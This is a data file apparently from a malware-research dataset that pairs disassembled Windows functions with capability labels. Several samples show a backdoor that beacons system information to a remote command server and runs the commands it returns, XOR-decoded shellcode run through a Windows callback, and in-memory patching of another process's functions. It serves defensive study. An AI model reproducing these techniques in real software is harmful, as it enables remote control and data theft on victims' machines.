joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402760
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push rbp
sub rsp, 0x470
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x400], rcx
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rcx, str.A_WinHTTP_Example_Program_1.0
call sym.WinHttpOpen
mov qword [rbp + 0x3e8], rax
cmp qword [rbp + 0x3e8], 0
je 0x4029dd
mov rax, qword [rbp + 0x3e8]
mov r9d, 0
mov r8d, 0x1bb
lea rdx, str.eijfrhegrtbrfcd.online
mov rcx, rax
call sym.WinHttpConnect
mov qword [rbp + 0x3e0], rax
cmp qword [rbp + 0x3e0], 0
je 0x4029ce
lea rax, [rbp - 0x40]
mov r9, qword [rbp + 0x400]
lea r8, str._iloverussia.php_token_S
mov edx, 0x200
mov rcx, rax
call sym.swprintf_s
lea rax, [rbp - 0x40]
mov rdx, rax
lea rcx, str.Final_URL:__s_n
call sym.wprintf
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x3e0]
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
lea rdx, str.POST
mov rcx, rax
call sym.WinHttpOpenRequest
mov qword [rbp + 0x3d8], rax
cmp qword [rbp + 0x3d8], 0
je 0x4029bf
mov rax, qword [rbp + 0x3d8]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
call sym.WinHttpSendRequest
test eax, eax
je 0x4029b0
mov rax, qword [rbp + 0x3d8]
mov edx, 0
mov rcx, rax
call sym.WinHttpReceiveResponse
test eax, eax
je 0x4029b0
mov dword [rbp + 0x3cc], 0
mov dword [rbp + 0x3c8], 0
mov dword [rbp + 0x3cc], 0
lea rdx, [rbp + 0x3cc]
mov rax, qword [rbp + 0x3d8]
mov rcx, rax
call sym.WinHttpQueryDataAvailable
test eax, eax
je 0x4029a2
mov eax, dword [rbp + 0x3cc]
add eax, 1
mov eax, eax
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x3d0], rax
cmp qword [rbp + 0x3d0], 0
jne 0x402935
mov dword [rbp + 0x3cc], 0
jmp 0x4029a2
mov eax, dword [rbp + 0x3cc]
add eax, 1
mov edx, eax
mov rax, qword [rbp + 0x3d0]
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
mov ecx, dword [rbp + 0x3cc]
lea r8, [rbp + 0x3c8]
mov rdx, qword [rbp + 0x3d0]
mov rax, qword [rbp + 0x3d8]
mov r9, r8
mov r8d, ecx
mov rcx, rax
call sym.WinHttpReadData
test eax, eax
je 0x402993
mov rax, qword [rbp + 0x3d0]
mov rcx, rax
call sym.execute_command_from_response
mov rax, qword [rbp + 0x3d0]
mov rcx, rax
call sym.free
mov eax, dword [rbp + 0x3cc]
test eax, eax
jne 0x4028dd
mov rax, qword [rbp + 0x3d8]
mov rcx, rax
call sym.WinHttpCloseHandle
mov rax, qword [rbp + 0x3e0]
mov rcx, rax
call sym.WinHttpCloseHandle
mov rax, qword [rbp + 0x3e8]
mov rcx, rax
call sym.WinHttpCloseHandle
nop
add rsp, 0x470
pop rbp
ret
Function at 0x4029e7
Capabilities:
Create thread
Write file on windows

Disassembly:
push rbp
sub rsp, 0x450
lea rbp, [rsp + 0x80]
call dbg.__main
mov dword [rbp + 0x3cc], 0x80000001
mov eax, dword [rbp + 0x3cc]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SetThreadExecutionState]
call rax
test eax, eax
jne 0x402a29
lea rcx, str.ERROR_ENERGY_STATUS.
call sym.puts
jmp 0x402a35
lea rcx, str.GOOD_ENERGY_STATUS.
call sym.puts
lea rdx, str.Russian_Russia.1251
mov ecx, 0
call sym.setlocale
test rax, rax
jne 0x402a7d
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x33
mov edx, 1
lea rcx, str.___1251__n
call sym.fwrite
mov eax, 1
jmp 0x402bb0
mov ecx, 0xfde9
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
call rax
mov ecx, 0xfde9
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleCP]
call rax
call sym.IsRunningAsAdmin
test eax, eax
jne 0x402ab5
lea rcx, str.Need_admin_privileges._Restarting_program...
call sym.puts
call sym.RestartAsAdmin
jmp 0x402b1b
lea rax, [rbp + 0x3b4]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.MonitorAndLaunchProcess]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0x3c0], rax
cmp qword [rbp + 0x3c0], 0
jne 0x402b1b
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.Error:_Unable_to_create_thread._Error_code:__ld_n
call sym.printf
mov eax, 1
jmp 0x402bb0
lea rcx, [0x0040624b]
call sym.IsAnotherInstanceRunning
test eax, eax
je 0x402b45
lea rdx, [0x0040624b]
lea rcx, str.__s__.__._n
call sym.printf
mov eax, 1
jmp 0x402bb0
call sym.CopySelfToTemp
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.get_system_info
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.base64_encode
mov qword [rbp + 0x3b8], rax
cmp qword [rbp + 0x3b8], 0
je 0x402ba0
mov rax, qword [rbp + 0x3b8]
mov rcx, rax
call sym.send_post_request
mov rax, qword [rbp + 0x3b8]
mov rcx, rax
call sym.free
mov ecx, 0xea60
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x402b4a
add rsp, 0x450
pop rbp
ret
Function at 0x403140
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x0040a624]
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
test esi, esi
jle 0x4032f4
mov rax, qword [0x0040a628]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x40318c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x403219
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x403170
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x403329
mov rax, qword [0x0040a628]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call dbg._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x0040a628]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x40330c
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x403212
sub eax, 0x40
and eax, 0xffffffbf
jne 0x403294
add dword [0x0040a624], 1
cmp edi, 8
jae 0x403250
test dil, 4
jne 0x4032e0
test edi, edi
je 0x40323c
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x4032fb
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rbp]
mov qword [rbx], rax
mov eax, edi
mov rdx, qword [rbp + rax - 8]
mov qword [rbx + rax - 8], rdx
lea rax, [rbx + 8]
and rax, 0xfffffffffffffff8
sub rbx, rax
sub rbp, rbx
add ebx, edi
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x40323c
and ebx, 0xfffffff8
xor edx, edx
mov ecx, edx
add edx, 8
mov r8, qword [rbp + rcx]
cmp edx, ebx
mov qword [rax + rcx], r8
jb 0x403280
jmp 0x40323c
add rsi, qword [0x0040a628]
mov rcx, qword [rsp + 0x20]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x403212
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax + rax]
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x40323c
xor esi, esi
jmp 0x403197
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x40323c
mov rax, qword [0x0040a628]
mov edx, dword [r12 + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rsi + 0x18]
call dbg.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call dbg.__report_error
nop
nop dword [rax]
Function at 0x403a80
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x0040a900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x0040a8e0]
test rbx, rbx
je 0x403ad4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x403acb
test rsi, rsi
je 0x403acb
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x403ab0
lea rcx, [0x0040a900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x403d10
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x403d20
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x403d30
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x403d71
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x403d68
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x403d73
add rax, 0x28
cmp rax, r9
jne 0x403d54
xor eax, eax
ret

Function at 0x403e10
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00406bb0]
mov rdx, rcx
cmp word [r8], 0x5a4d
jne 0x403e7d
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x403e7d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x403e7d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x403e74
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x403e7f
add rax, 0x28
cmp rax, r9
jne 0x403e60
xor eax, eax
add rsp, 0x28
ret

Function at 0x403f80
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00406bb0]
xor eax, eax
mov rdx, rcx
cmp word [r8], 0x5a4d
je 0x403fa0
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x403f98
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x403ffd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x403ff4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x404004
add rax, 0x28
cmp rax, r9
jne 0x403fe0
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret
Function at 0x404020
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x00406bb0]
mov r9d, ecx
cmp word [r11], 0x5a4d
jne 0x40408e
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x40408e
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x40408e
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x40408e
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x404085
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x404095
add rcx, 0x28
cmp rcx, rax
jne 0x404070
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x4040a8
jmp 0x40408e
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x4040b6
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x40408e
test r9d, r9d
jg 0x4040a0
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret

Function at 0x404520
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
mov r8d, 0x1b
mov edx, 1
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x1400035f0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via windows callback function

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rbx
mov qword [r11 + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x60
mov rax, qword [0x1417380a0]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov ebx, edx
mov rsi, rcx
xor r14d, r14d
mov qword [r11 - 0x40], r14
mov qword [r11 - 0x30], r14
mov qword [r11 - 0x28], 0xf
mov byte [r11 - 0x40], r14b
lea rdx, [rcx - 0x10]
add rdx, rbx
lea r8d, [r14 + 0x10]
lea rcx, [r11 - 0x40]
call fcn.1400070f0
nop
lea eax, [rbx - 0x10]
mov edi, eax
mov ecx, r14d
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x30], r14
test eax, eax
je 0x1400036b6
cmp rdi, 0x1000
jb 0x14000368e
lea rcx, [rax + 0x27]
cmp rcx, rdi
jbe 0x1400037e3
call fcn.14003aa88
mov rcx, rax
test rax, rax
je 0x1400037e9
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140003696
mov rcx, rdi
call fcn.14003aa88
mov qword [rsp + 0x20], rax
lea rcx, [rax + rdi]
mov qword [rsp + 0x30], rcx
mov r8, rdi
xor edx, edx
mov rcx, rax
call fcn.14003dd30
mov rcx, qword [rsp + 0x20]
mov r8, rdi
mov rdx, rsi
call fcn.14003d5e0
mov r10, qword [rsp + 0x20]
mov r8, r14
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x38]
test rdi, rdi
je 0x140003705
mov r9, qword [rsp + 0x48]
nop dword [rax]
lea rcx, [rsp + 0x38]
cmp rbp, 0x10
cmovae rcx, rsi
xor edx, edx
mov rax, r8
div r9
movzx eax, byte [rdx + rcx]
xor byte [r8 + r10], al
inc r8
cmp r8, rdi
jb 0x1400036e0
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov r8, rdi
mov rdx, qword [rsp + 0x20]
mov rcx, rax
call fcn.14003d5e0
mov r9, rbx
xor r8d, r8d
xor edx, edx
mov ecx, 0x10000
call qword [sym.imp.CRYPT32.dll_CertEnumSystemStore]
mov rcx, qword [rsp + 0x20]
test rcx, rcx
je 0x140003788
mov rdx, qword [rsp + 0x30]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003775
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400037e9
call fcn.14003abdc
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], r14
cmp rbp, 0x10
jb 0x1400037bb
lea rdx, [rbp + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x1400037b3
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400037dd
mov rcx, rsi
call fcn.14003abdc
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14003aa60
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
call fcn.140065218
nop
call fcn.1400014a0
nop
call fcn.140065218
int3
Function at 0x140004a60
Capabilities:
Read file on windows

Disassembly:
push rbx
push rsi
push r14
sub rsp, 0x30
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x140004a82
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rdi
je 0x140004afc
mov rdi, r14
mov rcx, rbx
call fcn.1400069e0
test rax, rax
jle 0x140004ad4
mov rdx, qword [rbx + 0x38]
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov r8, rbp
mov rdx, qword [rdx]
call fcn.14003d5e0
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x140004aec
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x140004af4
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x140004a96
sub r14, rdi
jmp 0x140004be9
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x140004b13
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140004b15
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140004b4a
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.14003d5e0
mov rax, qword [rbx + 0x50]
sub rbp, rdi
add rsi, rdi
mov r8, rbp
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x140004be6
mov r9, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r9], rax
jne 0x140004b85
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r9], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rdi, r8
cmp r8, 0xfff
jbe 0x140004bc1
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.140064d98
sub rbp, rax
add rsi, rax
mov rdi, rbp
cmp rax, 0xfff
jne 0x140004bff
cmp rbp, rax
ja 0x140004b91
mov r8, rdi
test rdi, rdi
je 0x140004be6
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.140064d98
mov r8, rdi
sub r8, rax
sub r14, r8
mov rbp, qword [rsp + 0x28]
mov rax, r14
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
sub r14, rbp
jmp 0x140004be9
Function at 0x140005010
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x1417380a0]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14000503d
xor eax, eax
jmp 0x140005183
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140005077
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140005077
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140005183
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x140005176
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x1400050ba
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x1400050c9
movsx ecx, dil
jmp 0x14000511d
lea r8, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov rax, qword [rcx]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x38], r8
lea r9, [rsp + 0x51]
lea r8, [rsp + 0x78]
mov qword [rsp + 0x30], r8
lea r8, [rsp + 0x58]
mov qword [rsp + 0x28], r8
lea r8, [rsp + 0x48]
mov qword [rsp + 0x20], r8
lea r8, [rsp + 0x50]
call qword [rax + 0x38]
test eax, eax
je 0x140005137
sub eax, 1
je 0x140005137
cmp eax, 2
jne 0x140005176
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call fcn.14004bab4
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x14000517b
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140005164
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call fcn.140064634
cmp rsi, rax
jne 0x140005176
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov eax, edi
jne 0x14000517b
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.14003aa60
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret

Function at 0x14002e7b4
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
lea r9, [rdx + rdx]
movabs r8, 0xcbf29ce484222325
xor edx, edx
test r9, r9
je 0x1400145d2
movzx eax, byte [rdx + rcx]
movabs r10, 0x100000001b3
xor r8, rax
inc rdx
imul r8, r10
cmp rdx, r9
jb 0x1400145b5
mov rax, r8
ret
sub r8, rdx
mov rcx, rdx
sar r8, 1
mov rdx, r8
jmp 0x1400145a0

Function at 0x14002e7c8
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
lea r9, [rdx + rdx]
movabs r8, 0xcbf29ce484222325
xor edx, edx
test r9, r9
je 0x14001460a
movzx eax, byte [rdx + rcx]
movabs r10, 0x100000001b3
xor r8, rax
inc rdx
imul r8, r10
cmp rdx, r9
jb 0x1400145ed
mov rax, r8
ret
sub r8, rdx
mov rcx, rdx
sar r8, 1
mov rdx, r8
jmp 0x1400145d8

Function at 0x140077f5c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140077ce4
Function at 0x140001070
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0x90
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x4f], rax
mov r8d, ecx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140001256
xor eax, eax
mov qword [rsp + 0xa8], rsi
mov byte [rbp + 0x34], al
xorps xmm0, xmm0
xor esi, esi
mov dword [rbp + 0x17], 0xbfc6c2df
mov dword [rbp + 0x1b], 0x43bdbabc
mov dword [rbp + 0x1f], 0x3f3831fc
mov byte [rbp + 0x23], 0xca
movups xmmword [rbp + 0x24], xmm0
mov qword [rbp - 9], rsi
mov rax, qword [rbp - 9]
mov qword [rsp + 0xb0], rdi
nop dword [rax + rax]
mov rdx, qword [rbp - 9]
mov rax, qword [rbp - 9]
add dl, 0x79
movzx ecx, byte [rbp + rax + 0x17]
movzx eax, dl
and al, cl
add al, al
sub dl, al
mov rax, qword [rbp - 9]
sub dl, 0x4f
add dl, cl
mov byte [rbp + rax + 0x17], dl
mov rax, qword [rbp - 9]
inc rax
mov qword [rbp - 9], rax
mov rax, qword [rbp - 9]
cmp rax, 0x1e
jb 0x1400010f0
lea rcx, [rbp + 0x17]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x14000123b
mov dword [rbp + 7], 0x2d06020f
mov dword [rbp + 0xb], 0x19070f1d
mov dword [rbp + 0xf], 0x40225f5
mov dword [rbp + 0x13], 0x740107
mov qword [rbp - 9], rsi
mov rax, qword [rbp - 9]
nop word [rax + rax]
mov rdx, qword [rbp - 9]
mov rax, qword [rbp - 9]
sub dl, 0x11
movzx ecx, byte [rbp + rax + 7]
movzx eax, dl
and al, cl
add al, al
sub dl, al
mov rax, qword [rbp - 9]
add dl, 0x77
add dl, cl
mov byte [rbp + rax + 7], dl
mov rax, qword [rbp - 9]
inc rax
mov qword [rbp - 9], rax
mov rax, qword [rbp - 9]
cmp rax, 0x10
jb 0x140001170
lea rdx, [rbp + 7]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rax, rax
je 0x140001232
lea rax, [rbp + 0x37]
mov dword [rbp + 0x47], 0x90c3c033
mov r9d, 0x40
mov qword [rsp + 0x20], rax
mov r8d, 5
mov byte [rbp + 0x4b], 0x90
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x140001232
lea rax, [rbp + 0x3f]
mov r9d, 5
lea r8, [rbp + 0x47]
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r9d, dword [rbp + 0x37]
mov r8d, 5
test eax, eax
mov rdx, rsi
lea rax, [rbp + 0x37]
mov rcx, rbx
mov qword [rsp + 0x20], rax
jne 0x140001273
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov rsi, qword [rsp + 0xa8]
mov rdi, qword [rsp + 0xb0]
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.1400020e0
mov rbx, qword [rsp + 0xb8]
add rsp, 0x90
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x140001232
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x140001246
Function at 0x1400029a0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400029ea
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400029ea
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400029ea
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400029ea
cmp dword [rcx + 0x84], 0xe
jbe 0x1400029ea
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400029ec
xor al, al
add rsp, 0x28
ret
Function at 0x140001008
Capabilities:
Accept command line arguments

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x70
lea rcx, str._JAVA_LAUNCHER_DEBUG
call fcn.1400119e8
test rax, rax
je 0x140001065
lea rcx, str.Windows_original_main_args:_n
call fcn.14000114c
xor ebx, ebx
call fcn.140011754
cmp dword [rax], ebx
jle 0x140001065
xor edi, edi
call fcn.14001175c
mov edx, ebx
lea rcx, str.wwwd_args__d____s_n
mov r8, qword [rax]
mov r8, qword [rdi + r8]
call fcn.14000114c
inc ebx
lea rdi, [rdi + 8]
call fcn.140011754
cmp ebx, dword [rax]
jl 0x14000103c
